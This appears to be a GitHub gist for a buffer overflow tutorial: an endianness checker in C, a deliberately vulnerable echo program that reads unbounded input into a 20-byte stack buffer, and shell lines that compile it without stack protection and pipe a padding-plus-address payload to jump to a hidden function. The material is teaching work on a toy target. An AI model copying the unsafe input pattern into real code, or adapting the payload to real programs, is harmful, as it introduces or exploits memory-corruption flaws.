Last active
August 19, 2017 04:52
-
-
Save CreaturePhil/f3ffaa3204c670eff5ead3f13df2aede to your computer and use it in GitHub Desktop.
buffer overflow exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
int main() { | |
int a = 0x12345678; | |
unsigned char *c = (unsigned char*)(&a); | |
if (*c == 0x78) { | |
printf("little-endian\n"); | |
} else { | |
printf("big-endian\n"); | |
} | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
void secret_function() | |
{ | |
printf("Congratulations!\n"); | |
printf("You have entered in the secret function!\n"); | |
} | |
void echo() | |
{ | |
char buffer[20]; | |
printf("Enter some text:\n"); | |
scanf("%s", buffer); | |
printf("You entered: %s\n", buffer); | |
} | |
int main(void) | |
{ | |
echo(); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
gcc exploit.c -o vuln -fno-stack-protector | |
python -c 'print "a"*40 + "\xd6\x05\x40\x00\x00\x00\x00"' | ./vuln | |
# note "a" here can be any character. all it does is add padding of 32 length |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This is from https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/. Above snippets are for a 64 bit example.
Use
endian.c
to determine whether your computer is little or big endian. If it is different than change the order of the bytes invuln.sh